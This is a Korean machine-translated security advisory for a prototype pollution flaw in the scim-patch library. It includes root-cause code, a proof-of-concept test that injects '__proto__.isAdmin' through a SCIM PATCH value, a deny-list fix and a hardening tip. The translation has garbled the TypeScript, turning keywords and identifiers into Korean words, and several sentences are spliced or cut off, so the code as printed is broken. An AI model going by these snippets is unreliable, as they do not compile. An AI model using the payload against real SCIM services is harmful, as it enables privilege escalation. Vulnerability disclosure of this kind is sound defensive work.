패치의 필터링되지 않은 키를 통한 프로토타입 오염에 취약한 scimPatch
scim-patch는 value 개체에 "__proto__.someProp"와 같은 키가 포함된 SCIM PATCH 작업을 적용할 때 프로토타입 오염을 수행합니다. 그런 패치가 한 번 있은 후,
Object.prototype.someProp은 프로세스 전체에 걸쳐 설정되어 노드 프로세스의 모든 일반 객체에 영향을 미칩니다.
공격자가 제어하는 JSON에서 scimPatch()를 호출하는 모든 서비스(즉, 외부 IdP에서 PATCH를 허용하는 모든 SCIM 엔드포인트)는 기본 노드 런타임에서 악용될 수 있습니다.
<= 0.9.0 (현재 HEAD 871b1e2)PATCH /Users/:id 요청 본문의 일부로 전송됩니다.Object.prototype 변형)이 전체 노드 프로세스로 누출됩니다.다운스트림 결과는 다른 코드가 일반 객체에서 읽는 내용에 따라 달라집니다. 유사한 버그에서 관찰된 현실적인 결과:
actor.isAdmin / req.user.admin / 유사한 부울 플래그를 확인하는 경우 권한 에스컬레이션.obj.name, obj.type, obj.id 등에 대한 코드 분기가 있는 경우 논리 우회/DoS(예: pg의 준비된 명령문 명명 확인 — 한 소비자의 실제 사건).src/scimPatch.ts:415-427에서 addOrReplaceObjectAttribute는 사용자가 제공한 patch.value를 Object.entries로 반복하고 각 키를 .로 분할되는 resolvePaths에 공급합니다.
``ts 함수 addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any { if (typeof patch.value !== '객체') { ... }
// src/scimPatch.ts:423-427
for (Object.entries(patch.value)의 const [키, 값]) {
할당(속성, 해결 경로(키), 값, 패치.op);
}
재산 반환;
}
그런 다음 `할당`은 위험한 키(`src/scimPatch.ts:437-445`)에 대한 필터링 없이 결과 키 경로를 탐색합니다.
``ts
function 할당(obj: 임의, keyPath: Array<string>, 값: 임의, op: 문자열) {
const lastKeyIndex = keyPath.length - 1;
for (let i = 0; i < lastKeyIndex; ++i) {
const 키 = keyPath[i];
if (!(obj의 키)) {
obj[키] = {};
}
obj = obj[키]; // ← obj["__proto__"] === Object.prototype
}
// ... Object.prototype에 할당
}
keyPath = ["__proto__", "polluted"]의 경우:
의 "proto"는 항상 true이므로 fresh-object 분기를 건너뜁니다.obj = obj["__proto__"]는 이제 Object.prototype을 가리킵니다.Object.prototype.polluted에 도달합니다.constructor.prototype 키에도 동일한 모양이 적용됩니다.
이것을 test/prototypePollution.test.ts에 넣고 npm run build && npx mocha lib/test/prototypePollution.test.js를 실행하세요. 두 테스트 모두 HEAD 871b1e2에 대해 통과했습니다.
``ts import { scimPatch } from '../src/scimPatch'; import { ScimUser } from './types/types.test'; 'chai'에서 { 예상 } 가져오기;
explain('scim-patch를 통한 프로토타입 오염', () => { scimUser: ScimUser를 허용합니다.
beforeEach(() => {
scimUser = JSON.parse(`{
"스키마": ["urn:ietf:params:scim:schemas:core:2.0:사용자"],
"id": "tea_4",
"userName": "스파이더맨",
"name": { "familyName": "파커", "givenName": "피터" },
"활성": 사실,
"이메일": [{ "값": "spiderman@superheroes.com", "기본": true }],
"역할": [],
"meta": { "resourceType": "사용자", "created": "x", "lastModified": "x", "location": "x" }
}`);
});
afterEach(() => {
삭제(Object.prototype).polluted;
삭제(Object.prototype).isAdmin;
});
it('__proto__를 포함하는 값 키를 통해 Object.prototype을 오염시킵니다.', () => {
Expect(({}는 무엇이든).polluted).to.equal(undefine);
scimPatch(scim사용자, [{
op: '추가',
경로: '이름',
값: { '__proto__.polluted': '예' }
}]);
Expect((Object.prototype as any).polluted).to.equal('yes');
Expect(({} 무엇이든).polluted).to.equal('yes');
});
it('elevates Object.prototype.isAdmin — 관리자 에스컬레이션 형태', () => { Expect(({}).isAdmin).to.equal(undefine);
scimPatch(scim사용자, [{
op: '추가',
경로: '이름',
값: { '__proto__.isAdmin': true }
}]);
Expect((Object.prototype as any).isAdmin).to.equal(true);
Expect(({}).isAdmin).to.equal(true);
});
});
## 제안된 수정 사항
걷기 전에 `할당()`에서 세 가지 위험한 키를 거부하세요. 최소 패치:
``ts
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
function 할당(obj: 임의, keyPath: Array<string>, 값: 임의, op: 문자열) {
for (keyPath의 const 키) {
if (DANGEROUS_KEYS.has(키)) {
throw new InvalidScimPatchOp(`패치 경로에 금지된 키: ${key}`);
}
}
// ... 기존 로직
}
약간 더 안전한 대안: 중간 개체를 생성할 때 걷기 대상을 Object.create(null) 노드로 전환하고 최종 쓰기에는 obj[key] = value 대신 Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })를 사용합니다. 이는 키가 거부 목록을 몰래 통과하더라도 미래의 프로토타입 워킹 싱크를 방어합니다.
두 가지 접근 방식 모두 획기적인 변경 사항이 아닙니다. 합법적인 SCIM 클라이언트는 절대 이러한 키를 보내지 않습니다.
프로세스 시작 시 Object.freeze(Object.prototype)(Array.prototype, Function.prototype에서도 동일)을 호출하면 이 버그 클래스가 무력화됩니다. 고정된 프로토타입에 대한 할당은 엉성한 모드에서 자동으로 작동하지 않거나 엄격 모드에서 TypeError가 됩니다. 노드의 --frozen-intrinsics 플래그는 내장에 대해 자동으로 이 작업을 수행합니다.
**Lee Wang(Notion)**이 발견했습니다. **David Wu(Notion)**가 보고함.
Claude가 작성한 보고서. David Wu가 검토했습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 91.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 91.00 |
VPI 공식 vpi-v1 기준